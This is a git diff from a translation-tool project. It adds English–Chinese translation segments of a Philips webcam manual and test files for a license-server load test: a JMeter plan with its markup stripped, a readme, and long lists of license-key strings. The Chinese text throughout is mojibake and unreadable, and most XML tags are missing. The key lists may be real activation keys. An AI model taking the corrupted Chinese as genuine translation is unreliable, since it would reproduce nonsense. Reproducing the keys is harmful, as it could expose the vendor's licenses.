+默认状æ€ä¸‹ï¼Œå¯ç”¨è¯¥é€‰é¡¹æ—¶å°†ä½¿ç”¨ä¸Šæ¬¡ä½¿ç”¨çš„视频框。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Use â–¼ to browse through the WebCam frame list to select a frame. + +使用{\f2 â–¼ }æ¥æµè§ˆç½‘络摄åƒå¤´è§†é¢‘框列表,并选择一个视频框。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Video effects + +视频效果 + + +TI-07196, TI-07196 Neroc SPC620NC + +This option enables you to add video effects to your video recordings and video calls. + +通过此选项,您å¯åœ¨è§†é¢‘录制和视频通è¯æ—¶æ·»åŠ è§†é¢‘效果。 + + +TI-07196, TI-07196 Neroc SPC620NC + +For example, you can display the video with canvas effect, distortion effect, embossing effect and many more. + +例如,您å¯ä½¿ç”¨æ²¹ç”»æ•ˆæžœã€å˜å½¢æ•ˆæžœã€æµ®é›•æ•ˆæžœæˆ–更多其他效果æ¥æ˜¾ç¤ºè§†é¢‘。 + + +TI-07196, TI-07196 Neroc SPC620NC + +By default, the last used effect will be applied to the video, when the option is enabled. + +默认状æ€ä¸‹ï¼Œå¯ç”¨è¯¥é€‰é¡¹æ—¶è§†é¢‘会采用上次使用的效果。 + + +TI-07196 Neroc SPC620NC + +When the option is enabled for the first time, the first effect from the video effects list will be selected. + +首次å¯ç”¨æ—¶è¯¥é€‰é¡¹ï¼Œé»˜è®¤é€‰ä¸­çš„是视频效果列表中的第一ç§æ•ˆæžœã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Use â–¼ to browse through the WebCam video effects list to select an effect. + +使用{\f2 â–¼ }æ¥æµè§ˆç½‘络摄åƒå¤´è§†é¢‘效果列表,以选择一ç§æ•ˆæžœã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The total amount of captured items is shown above the content panel (top right). + +{\f2 > }抓æ‹é¡¹çš„总数会显示在内容é¢æ¿çš„å³ä¸Šæ–¹ï¼ˆé¡¶éƒ¨ï¼‰ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b All Captures}’ to display all captured items in the content panel. + +•{\f2 }å•å‡»â€œ{\b 所有抓æ‹}â€{\f2 (}{\b\f2 All Captures}{\f2 )},以在内容é¢æ¿ä¸­æ˜¾ç¤ºæ‰€æœ‰æŠ“æ‹é¡¹ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b Images}’, ‘{\b Videos}’ or ‘{\b Folders}’ to display your captured images, video clips or folders containg captures in the content panel. + +•{\f2 }å•å‡»â€œ{\b 图åƒ}â€{\f2 (}{\b\f2 Images}{\f2 )}ã€â€œ{\b 视频}â€{\f2 (}{\b\f2 Videos}{\f2 ) }或“{\b 文件夹}â€{\f2 (}{\b\f2 Folders}{\f2 )},å¯åœ¨å†…容é¢æ¿ä¸­æ˜¾ç¤ºæ‚¨æ‰€æŠ“æ‹çš„图åƒã€è§†é¢‘短片或包å«æŠ“æ‹é¡¹çš„文件夹。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Deleting captured items + +删除抓æ‹é¡¹ + + +TI-07196, TI-07196 Neroc SPC620NC + +{\b 1 }Select the items you wish to delete in the content panel or under ‘Images’, ‘Videos’ and ‘Folders’. + +{\b\f2 1 }在内容é¢æ¿ä¸­æˆ–在“图åƒâ€{\f2 (Images)}ã€â€œè§†é¢‘â€{\f2 (Videos) }和“文件夹â€{\f2 (Folders) }目录下选中您想删除的项。 + + +TI-07196, TI-07196 Neroc SPC620NC + +{\b 2 }Click ‘ ’. + +{\b\f2 2 }å•å‡»â€œ â€ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The following dialogue screen appears. + +{\f2 > }出现以下对è¯æ¡†ã€‚ + + +Neroc SPC1000 NC + +Register your product and get support at
www.philips.com/welcome + +请在以下网å€æ³¨å†Œæœ¬äº§å“并获å–支æŒï¼šâ€¨{\f5 www.philips.com/welcome} + + +TI-07196, TI-07196 Neroc SPC620NC + +{\b 3 }Click the ‘{\b OK}’ button to delete the selected items. + +{\b\f2 3 }å•å‡»â€œ{\b 确定}â€{\f2 (}{\b\f2 OK}{\f2 ) }按钮,删除所选项。 + + +Neroc SPC1300 NC + +3 {\b Picture enhancement} + +{\f2 3 }图åƒå¢žå¼º + + +TI-07196, TI-07196 Neroc SPC620NC + +• If you need assistance select ‘{\b Application Help}’ in the ‘{\b Help}’ menu. + +•{\f2 }如果需è¦å¸®åŠ©ï¼Œè¯·åœ¨â€œ{\b 帮助}â€{\f2 (}{\b\f2 Help}{\f2 ) }èœå•ä¸­é€‰æ‹©â€œ{\b 应用程åºå¸®åŠ©}â€{\f2 (}{\b\f2 Application Help}{\f2 )}。 + + +TI-07196, TI-07196 Neroc SPC620NC + +In the ‘{\b Monitor}’ menu you can set up the WebCam for motion detection and videolog recording. + +在“{\b 监测}â€{\f2 (}{\b\f2 Monitor}{\f2 ) }èœå•ä¸­ï¼Œæ‚¨å¯è®¾ç½®ç½‘络摄åƒå¤´çš„动作æ•æ‰å’Œè§†é¢‘记录录制功能。 + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click the ‘{\b Monitor}’ tab to open the ‘Monitor’ menu. + +•{\f2 }å•å‡»â€œ{\b 监测}â€{\f2 (}{\b\f2 Monitor}{\f2 ) }选项å¡ï¼Œæ‰“开“监测â€{\f2 (Monitor) }èœå•ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The Monitor menu main screen appears. + +{\f2 > }出现监测èœå•çš„主画é¢ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The total amount of videologs is shown above the content panel (top right). + +{\f2 > }视频记录的总数会显示在内容é¢æ¿çš„å³ä¸Šæ–¹ï¼ˆé¡¶éƒ¨ï¼‰ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The ‘Movement’ indicator ( ) shows the amount of movement that is detected within the Webcam field of view. + +{\f2 > }“动作â€{\f2 (Movement) }显示æ¡ï¼ˆ )显示出在网络摄åƒå¤´è§†è§’范围内所æ•æ‰åˆ°çš„动作é‡ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b Start monitoring}’ to start monitoring. + +•{\f2 }å•å‡»â€œ{\b 开始监测}â€{\f2 (}{\b\f2 Start monitoring}{\f2 )},开始进行监测。 + + +TI-07196, TI-07196 Neroc SPC620NC + +> If movement is detected within the field of view of the WebCam, recording starts automatically. + +{\f2 > }如果摄åƒå¤´åœ¨è§†è§’范围内æ•æ‰åˆ°åŠ¨ä½œï¼Œå½•åˆ¶å°†ä¼šè‡ªåŠ¨å¼€å§‹ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b Start monitoring}’ again to stop monitoring. + +•{\f2 }å†æ¬¡å•å‡»â€œ{\b 开始监测}â€{\f2 (}{\b\f2 Start monitoring}{\f2 ) }以åœæ­¢ç›‘测。 + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b All logs}’ to display all available logs in the content panel. + +•{\f2 }å•å‡»â€œ{\b 所有记录}â€{\f2 (}{\b\f2 All logs}{\f2 ) }以在内容é¢æ¿ä¸­æ˜¾ç¤ºæ‰€æœ‰å¯ç”¨è®°å½•ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘{\b By date}’ to display the content of the various recording dates in the content panel. + +•{\f2 }å•å‡»â€œ{\b 按日期}â€{\f2 (}{\b\f2 By date}{\f2 ) }以在内容é¢æ¿ä¸­æ˜¾ç¤ºä¸åŒå½•åˆ¶æ—¥æœŸçš„内容。 + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click on a date to display the log(s) made on that date in the content panel. + +•{\f2 }å•å‡»æŸä¸€æ—¥æœŸï¼Œå¯åœ¨å†…容é¢æ¿ä¸­æ˜¾ç¤ºåœ¨æ­¤æ—¥æœŸå½•åˆ¶çš„记录。 + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click ‘ ’ to maximize the lower part of the screen and display the camera preview. + +å•å‡»â€œ â€æœ€å¤§åŒ–ç”»é¢çš„下åŠéƒ¨ï¼Œå¹¶æ˜¾ç¤ºæ‘„åƒé¢„览。 + + +Neroc SPC1300 NC + +This option enables Philips patented Pixel Plus technology and + +该选项采用了{\f2 Philips }é€ç‚¹æ™¶æ™°{\f2 (Pixel Plus) }专利技术, + + +TI-07196 Neroc SPC620NC + +• Click ‘ ’ to maximize the upper part of the screen and display your videologs. + +å•å‡»â€œ â€æœ€å¤§åŒ–ç”»é¢çš„上部,并显示视频记录。 + + +TI-07196, TI-07196 Neroc SPC620NC + +• Move your cursor onto a button to see a brief explanation of the button function. + +•{\f2 }将光标移至按钮,显示相应按钮功能的简介。 + + +Neroc SPC1000 NC + +To fully benefit from the support that Philips offers, register your product at www.philips.com/welcome. + +为能充分利用{\f5 Philips }æ供的支æŒï¼Œè¯·åœ¨ä»¥ä¸‹ç½‘å€æ³¨å†Œæœ¬äº§å“:{\f5 www.philips.com/welcome}。 + + +Neroc SPC1000 NC + +Your WebCam + +您的网络摄åƒå¤´ + + +Neroc SPC1300 NC + +The lower part of the screen will be split in two halfs; on the left you see the current picture, on the right you see the enhanced picture. + +å±å¹•ä¸‹åŠéƒ¨åˆ†å°†åˆ†ä¸ºä¸¤ä¸ªå›¾åƒçª—å£ï¼Œå·¦è¾¹æ˜¾ç¤ºä¸ºå½“å‰å›¾åƒï¼Œå³è¾¹æ˜¾ç¤ºä¸ºå¢žå¼ºåŽçš„图åƒã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Monitor settings + +监测设置 + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Click ‘ ’ to access the ‘Monitor settings’ menu. + +•{\b\f2 }å•å‡»â€œ â€è¿›å…¥â€œç›‘测设置â€{\f2 (Monitor settings) }èœå•ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Enter the minimum memory capacity you wish to remain on your harddisk during recording. + +•{\b\f2 }输入录制时希望硬盘留有的最å°ç©ºé—´å¤§å°ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> Recording stops automatically when harddisk space comes below the set amount of Mbs. + +{\f2 > }当硬盘空间å°äºŽæ‰€è®¾å¤§å°æ—¶ï¼Œå½•åˆ¶å°†è‡ªåŠ¨åœæ­¢ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Check the ‘Notification’ box if you wish a notification to be send to an e-mail address when movement is detected. + +•{\b\f2 }如果您希望å‘æŸä¸€ç”µå­é‚®ä»¶åœ°å€å‘é€åŠ¨ä½œæ•æ‰é€šçŸ¥ï¼Œè¯·å‹¾é€‰â€œé€šçŸ¥â€{\f2 (Notification) }å¤é€‰æ¡†ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Enter the e-mail address you wish the notification to be sent to. + +•{\b\f2 }输入希望收到通知的电å­é‚®ä»¶åœ°å€ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Use the ‘{\b Browse}’ button to select an audio file if you wish an audio file to start playing as soon as movement is detected. + +•{\b\f2 }如果您希望在æ•æ‰åˆ°åŠ¨ä½œæ—¶ç«‹å³å¼€å§‹æ’­æ”¾éŸ³é¢‘文件,请å•å‡»â€œ{\b æµè§ˆ}â€{\f2 (}{\b\f2 Browse}{\f2 ) }按钮,选择音频文件。 + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Use the sensitivity slider to set the desired sensitivity level for the WebCam detector.The sensitivity level determines the minimum amount of movement that will cause the WebCam to start recording. + +•{\b\f2 }使用çµæ•åº¦æ»‘å—设置ç†æƒ³çš„网络摄åƒå¤´æŽ¢æµ‹å™¨çš„çµæ•åº¦ã€‚çµæ•åº¦å†³å®šäº†ä¿ƒä½¿ç½‘络摄åƒå¤´å¼€å§‹å½•åƒçš„最å°åŠ¨ä½œé‡ã€‚ + + +Neroc SPC1000 NC + +Congratulations on your purchase and welcome to Philips! + +感谢您购买并欢迎访问{\f5 Philips }ç½‘ç«™ï¼ + + +TI-07196, TI-07196 Neroc SPC620NC + +The higher the sensitivity level, the sooner recording starts. + +çµæ•åº¦è¶Šé«˜ï¼Œå½•åˆ¶ä¾¿ä¼šè¶Šå¿«å¼€å§‹ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Click the ‘{\b OK}’ button to store your settings and close the dialogue box or click ‘ ’ or the ‘{\b Cancel}’ button to close the dialogue box without saving any settings. + +•{\b\f2 }{\b å•å‡»â€œç¡®å®šâ€}{\b\f2 (OK) }{\b 按钮ä¿å­˜æ‚¨çš„设置并关闭对è¯æ¡†ï¼Œä¹Ÿå¯ä»¥å•å‡»â€œ} {\b â€æˆ–“å–消â€}{\b\f2 (Cancel) }{\b 按钮关闭对è¯æ¡†è€Œä¸ä¿å­˜è®¾ç½®ã€‚} + + +TI-07196, TI-07196 Neroc SPC620NC + +Deleting videologs + +删除录åƒè®°å½• + + +TI-07196, TI-07196 Neroc SPC620NC + +{\b 1 }Select the logs you wish to delete in the content panel or under ‘By date’. + +{\b\f2 1 }在内容é¢æ¿ä¸­æˆ–在“按日期â€{\f2 (By date) }目录下选中您想删除的记录。 + + +TI-07196, TI-07196 Neroc SPC620NC + +{\b 3 }Click the ‘{\b OK}’ button to delete the selected videologs. + +{\b\f2 3 }å•å‡»â€œ{\b 确定}â€{\f2 (}{\b\f2 OK}{\f2 ) }按钮,删除所选视频记录。 + + +TI-07196, TI-07196 Neroc SPC620NC + +In the ‘{\b Broadcast}’ menu you can select a website where you can broadcast your videos live. + +在“{\b å‘布}â€{\f2 (}{\b\f2 Broadcast}{\f2 ) }èœå•ä¸­ï¼Œæ‚¨å¯ä»¥é€‰æ‹©è¦å‘布实时视频的网站。 + + +Neroc SPC1000 NC + +Volume level wizard + +音é‡è®¾ç½®å‘导 + + +Neroc SPC1000 NC + +Microphone volume + +éº¦å…‹é£ŽéŸ³é‡ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Click the ‘{\b Broadcast}’ tab to open the ‘Broadcast’ menu. + +•{\f2 }å•å‡»â€œ{\b å‘布}â€{\f2 (}{\b\f2 Broadcast}{\f2 ) }选项å¡ä»¥æ‰“开“å‘布â€{\f2 (Broadcast) }èœå•ã€‚ + + +Neroc SPC1000 NC + +Helps you set up the microphone volume level. + +å¯å¸®åŠ©æ‚¨è®¾ç½®éº¦å…‹é£Žçš„音é‡å¤§å°ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Select the desired website by clicking the corresponding ‘{\b Launch}’ button. + +•{\f2 }å•å‡»ç›¸åº”的“{\b 开始}â€â€˜{\f2 (}{\b\f2 Launch}{\f2 ) }按钮,选择需è¦çš„网站。 + + +Neroc SPC1000 NC + +• Test the microphone volume level by clicking the 'Start' button. + +• å•å‡»â€œå¼€å§‹â€ï¼ˆ{\f5 Start})按钮,测试麦克风的音é‡å¤§å°ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +• Follow the on-screen instructions for live broadcasting of your videos on the selected website. + +•{\f2 }按照å±å¹•ä¸Šæ˜¾ç¤ºçš„说明,在所选网站上实时å‘布您的视频。 + + +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/ImportTMXTest0.tmx b/test/net.heartsome.cat.ts.test/testFiles/ImportTMXTest0.tmx new file mode 100644 index 0000000..e69de29 diff --git a/test/net.heartsome.license.test/.classpath b/test/net.heartsome.license.test/.classpath new file mode 100644 index 0000000..c5f7edf --- /dev/null +++ b/test/net.heartsome.license.test/.classpath @@ -0,0 +1,13 @@ + + + + + + + + + + + + + diff --git a/test/net.heartsome.license.test/.gitignore b/test/net.heartsome.license.test/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/test/net.heartsome.license.test/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/test/net.heartsome.license.test/.project b/test/net.heartsome.license.test/.project new file mode 100644 index 0000000..b4e43f0 --- /dev/null +++ b/test/net.heartsome.license.test/.project @@ -0,0 +1,17 @@ + + + net.heartsome.license.test + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/test/net.heartsome.license.test/.settings/org.eclipse.jdt.core.prefs b/test/net.heartsome.license.test/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..8000cd6 --- /dev/null +++ b/test/net.heartsome.license.test/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/test/net.heartsome.license.test/docs/Java-Request-License.jmx b/test/net.heartsome.license.test/docs/Java-Request-License.jmx new file mode 100644 index 0000000..72b72fc --- /dev/null +++ b/test/net.heartsome.license.test/docs/Java-Request-License.jmx @@ -0,0 +1,269 @@ + + + + + + false + false + + + + + + + + continue + + false + 1 + + 15 + 15 + 1347506876000 + 1347506876000 + false + + + + + + + + + LicenseID + ${__StringFromFile(/Users/felix_lu/Desktop/keys.txt,,,)} + = + + + HardwareCode + TestHW + = + + + InstallCode + TestInstall + = + + + WaitSeconds + 5 + = + + + IntervalSeconds + 30 + = + + + + net.heartsome.license.test.LicenseActivateCheckDeactivate + + + + false + + saveConfig + + + true + true + true + + true + true + true + true + false + true + true + false + false + true + false + false + false + false + false + 0 + true + + + /Users/felix_lu/tmp/jmeterResults/acd.csv + + + + false + + saveConfig + + + true + true + true + + true + true + true + true + false + true + true + false + false + true + false + false + false + false + false + 0 + true + + + /Users/felix_lu/tmp/jmeterResults/acd.csv + + + + false + + saveConfig + + + true + true + true + + true + true + true + true + false + true + true + false + false + true + false + false + false + false + false + 0 + true + + + + + + + + continue + + false + 1 + + 15 + 15 + 1347524768000 + 1347524768000 + false + + + + + + + + + LicenseID + ${__StringFromFile(/Users/felix_lu/Desktop/keys.txt,,,)} + = + + + HardwareCode + TestHW + = + + + InstallCode + TestInstall + = + + + IntervalSeconds + 23 + = + + + + net.heartsome.license.test.LicenseCheck + + + + false + + saveConfig + + + true + true + true + + true + true + true + true + false + true + true + false + false + true + false + false + false + false + false + 0 + true + + + /Users/felix_lu/tmp/jmeterResults/check.csv + + + + false + + saveConfig + + + true + true + true + + true + true + true + true + false + true + true + false + false + true + false + false + false + false + false + 0 + true + + + /Users/felix_lu/tmp/jmeterResults/check.csv + + + + + + diff --git a/test/net.heartsome.license.test/docs/Readme.txt b/test/net.heartsome.license.test/docs/Readme.txt new file mode 100644 index 0000000..2ead386 --- /dev/null +++ b/test/net.heartsome.license.test/docs/Readme.txt @@ -0,0 +1,11 @@ +使用说明: +1ã€å°†æœ¬å·¥ç¨‹å¯¼å‡ºä¸º JAR 包,其中 lib 目录å¯ä»¥ä¸è¦å¯¼å‡ºï¼› +2ã€å¤åˆ¶å¯¼å‡ºçš„ JAR 包到 JMeter çš„ /lib/ext 目录; +3ã€å¤åˆ¶ lib 目录中除以 ApacheJMeter 开头的两个包之外的其他 JAR 包到 JMeter çš„ /lib/ext 目录; +4ã€å¯åŠ¨ JMeter åŽï¼Œåœ¨æµ‹è¯•è®¡åˆ’ Test Plan 中添加线程组 Thread Group,并é…置线程数ã€å¾ªçŽ¯æ¬¡æ•°ç­‰ï¼› +5ã€åœ¨çº¿ç¨‹ç»„中添加 Java Request,在 Classname 下拉列表中选择è¦æµ‹è¯•çš„类,é…置好相应的å‚数,如许å¯è¯ ID 等; +6ã€åœ¨çº¿ç¨‹ç»„中添加 View Result Treeã€Aggregate Report 等结果监å¬å™¨ï¼› +7ã€å¯è§†éœ€è¦æ·»åŠ å¤šä¸ªçº¿ç¨‹ç»„,åŒæ—¶è·‘ä¸åŒçš„测试类; +8ã€è¿è¡Œæµ‹è¯•ã€‚ + +å¯å‚考本目录中的测试计划样本:Java-Request-License.jmx diff --git a/test/net.heartsome.license.test/docs/keys_acd.txt b/test/net.heartsome.license.test/docs/keys_acd.txt new file mode 100644 index 0000000..13fac1e --- /dev/null +++ b/test/net.heartsome.license.test/docs/keys_acd.txt @@ -0,0 +1,15 @@ +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp \ No newline at end of file diff --git a/test/net.heartsome.license.test/docs/keys_check.txt b/test/net.heartsome.license.test/docs/keys_check.txt new file mode 100644 index 0000000..988ed12 --- /dev/null +++ b/test/net.heartsome.license.test/docs/keys_check.txt @@ -0,0 +1,1072 @@ +89L0eMVMr1dastFJPNDxj7XV +89L0eMVMr1dastFJPNDxj7XV +89U09Vel8RlPxpKI1WOvPiQ1 +89F0m3RrD99iJPG4qNHm2cZa +89F1VyqCzzOsDC3iMpxRTGXL +89F1VyqCzzOsDC3iMpxRTGXL +89F1VyqCzzOsDC3iMpxRTGXL +89F1VyqCzzOsDC3iMpxRTGXL +89F1VyqCzzOsDC3iMpxRTGXL +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89F0PUmuHuz7EV79ZXKEN9Pd +89F0PUmuHuz7EV79ZXKEN9Pd +89F0PUmuHuz7EV79ZXKEN9Pd +89U1z5p8rh7gjvcf7z4jjgex +89U1Z5P8RH7GjVcF7Z4jJGex +89L0Yq3qOszYFfR1LOzZoJzg +89L0Yq3qOszYFfR1LOzZoJzg +89F1VyqCzzOsDC3iMpxRTGXL +89L0Yq3qOszYFfR1LOzZoJzg +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89L08Di7E4fcgZ9HFxmOuuMr +89L08Di7E4fcgZ9HFxmOuuMr +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89L08Di7E4fcgZ9HFxmOuuMr +89U0PK9vU2EfKhYft1mQQ1LC +89U0PK9vU2EfKhYft1mQQ1LC +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89L08Di7E4fcgZ9HFxmOuuMr +89L08Di7E4fcgZ9HFxmOuuMr +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U0X6EtJY9K0kCKf3bK4PF4 +89U0PK9vU2EfKhYft1mQQ1LC +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U1Z5P8RH7GjVcF7Z4jJGex +89U09Vel8RlPxpKI1WOvPiQ1 +89U1YJNjWTIZzQGJdJrYauZu +89U06LFevr8lWMHMsHbC7ckN +89U1ZIgL0ToSicbcMIDEFwWa +89U1YJNjWTIZzQGJdJrYauZu +89U09Vel8RlPxpKI1WOvPiQ1 +89U1YJNjWTIZzQGJdJrYauZu +89U09Vel8RlPxpKI1WOvPiQ1 +89U1YJNjWTIZzQGJdJrYauZu +89U1YJNjWTIZzQGJdJrYauZu +89U0X6EtJY9K0kCKf3bK4PF4 +89U1YJNjWTIZzQGJdJrYauZu +89U1jiKrhD5IG1yNU0O2CinG +89U1jiKrhD5IG1yNU0O2CinG +89U1jiKrhD5IG1yNU0O2CinG +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U13Rx91uBS8yXRVckvQgjI +89U18pQc6Nz9ArDPDSicS8T4 +89U1SAvzArBHQDFkosBlSJ4o +89U1SAvzArBHQDFkosBlSJ4o +89U1SAvzArBHQDFkosBlSJ4o +89U1osLBujpCzMqjuVop6MEX +89U1i2Y4Zrm082wdtnRPm4tf +89U0xy1W15XQZMcWGAZ7veNp +89U18pQc6Nz9ArDPDSicS8T4 +89U0OLNjvv7GJSojFJyDnZQv +89U18pQc6Nz9ArDPDSicS8T4 +89U0BUsFwx3FSdgvgtuJq2j6 +89U0KmfxJzbDBBgA6BROANvJ +89U0vVpL9o9UcKfMSAVz8lTW +89U0dXuCLp6RtqjAuFb4Zw2T +89U0bfyX1msOCbBBCB0J5Y9m +89U0OLNjvv7GJSojFJyDnZQv +89U0FYGQijfNYq3E5aXdbwwu +89U0DWgzI903YAma0tM3nkMT +89U1WcYShpsnO9YjMqIKMDBD +89U0BHnhYBJHZZwmZxxeD6Ze +89U0S3UcqMwxNw4ei0sZsl0J +89U1i2Y4Zrm082wdtnRPm4tf +89U0dFor13NXasEx2F0PeLwq +89U0MLXOpuuWGOfWAI82eT2G +89U1i2Y4Zrm082wdtnRPm4tf +89U1IlU8YdfTTnt5O5RzdJjD +89U0KmfxJzbDBBgA6BROANvJ +89U0dFor13NXasEx2F0PeLwq +89U1cBQDmwsDgCRnE618aXp8 +89U0i6nU52asRJl2l63VHnI5 +89U0FYGQijfNYq3E5aXdbwwu +89U0OLNjvv7GJSojFJyDnZQv +89U0dFor13NXasEx2F0PeLwq +89U0lt660NE1UPcAwsZxfa4u +89U0RRBJnMWHal2e7gielZgZ +89U0h3mIaAZ6RoUQUHSvHyJv +89U1i2Y4Zrm082wdtnRPm4tf +89U0T5f2QEkFQY9rpXapKVxS +89U1i2Y4Zrm082wdtnRPm4tf +89U0VKKvGxlwA4fVZL9jy0of +89U1i2Y4Zrm082wdtnRPm4tf +89U1i2Y4Zrm082wdtnRPm4tf +89U1i2Y4Zrm082wdtnRPm4tf +89U1i2Y4Zrm082wdtnRPm4tf +89U1wAHTZUL1ejOlP9PCTbOu +89U1i2Y4Zrm082wdtnRPm4tf +89U1i2Y4Zrm082wdtnRPm4tf +89U0KmfxJzbDBBgA6BROANvJ +89U18pQc6Nz9ArDPDSicS8T4 +89U18pQc6Nz9ArDPDSicS8T4 +89U0OLNjvv7GJSojFJyDnZQv +89U0KAlNFuICEnyeZEt4NH1d +89U0x4fE46X7b4l8cTyKAXTQ +89U0XktaDCt1NOt2sW3N10hi +89U047iw2KXNu7XFWlgC5uBI +89U0lBkC0dOrQqqdMnJDaT6A +89U1WcYShpsnO9YjMqIKMDBD +89U0lt660NE1UPcAwsZxfa4u +89U0KmfxJzbDBBgA6BROANvJ +89U1WcYShpsnO9YjMqIKMDBD +89U1osLBujpCzMqjuVop6MEX +89U02Uwy4LwFHPa2Z4D0Ritf +89U0Cvukx06P27RwgFJT5KtP +89U0cnAodRTAKDNdxmImmuMv +89U0mistOy9wfn21PfRfvVwH +89U0Ve1O88VIaexjVOjhCahH +89U0iPa6Bwzi0LR3MjCw10q4 +89U0iPa6Bwzi0LR3MjCw10q4 +89U0aLdcoeiQ814WIVIy0JSW +89U0SZJ8bEmEaatdQrJs1c3X +89U0OdC2GKRkAWpOWgaDUswc +89U0kEO4hHez9qoq2qJ7IwtV +89U0EwZhxRMOfHbymWa82ZEz +89U0ezpit11FnyIbouzSZNHl +89U0hKNy6We7SPi6gY70j8UI +89U0Dpyr2KbVIx9Mn8QuUttp +89U0tBR0vyFZ1LeSVpCl0YA2 +89U0iTLkhJXykfsHBS49ug4e +89U0nuRoJjeMjrl5hs8CiiaT +89U0nSISNt9CeUmVjAlT1Cui +89U0hKZdeAbOnVUTDs2T7Edq +89U0GfSxhOxh9JIflaWei8oK +89U09KrxS8NDyxDJPOi0tTQU +89U0i09QOEWvurJJfVHawiZT +89U0HXce7dz7TBGJ0YcDAhb4 +89U0hKNy6We7SPi6gY70j8UI +89U0XfjekNuN4yqlkc13IqaJ +89U0PlB0inTXRi69fuQtnVVD +89U0f4pYNWrE6mTVpnM8CZ83 +89U0ZUYlH1PWd3TsRRt3ZKf3 +89U01fS5DH3C6Ww3kLO4DJby +89U0brkyC27fVKTmjEwuuzN5 +89U0KZ5WHfn36ktcoP9VSE74 +89U0jNNPw0zD25A33OQ64wCU +89U0tBUvlWjuOELnhUPK3YI5 +89U02erHaXFl0b8fF1CSdyOw +89U0eX7vzQ9KmJFD5WTDLFd6 +89U00MBajJyPa0Ee8KAOYp09 +89L1AOehEptFaFbLrI5pilK1 +89U0F8HxiX50toJmyZ55jsw1 +89L11H3sSWuwfFb8R9usy712 +89U0E3jwply8o7uByjLu1HbM +89U0gpnolGbE5r0JA2lr9DMo +89U0HdOdjmzWWJbgZCPlY4st +89U0k4aByWCYHZve7rTsoBv9 +89U0k4aByWCYHZve7rTsoBv9 +89U0E3jwply8o7uByjLu1HbM +89U0E3jwply8o7uByjLu1HbM +89U0E3jwply8o7uByjLu1HbM +89U0HaJamTL87SeQr3N5SEuA +89U0QtMFlT9sElToVHSuYHHv +89U0E3jwply8o7uByjLu1HbM 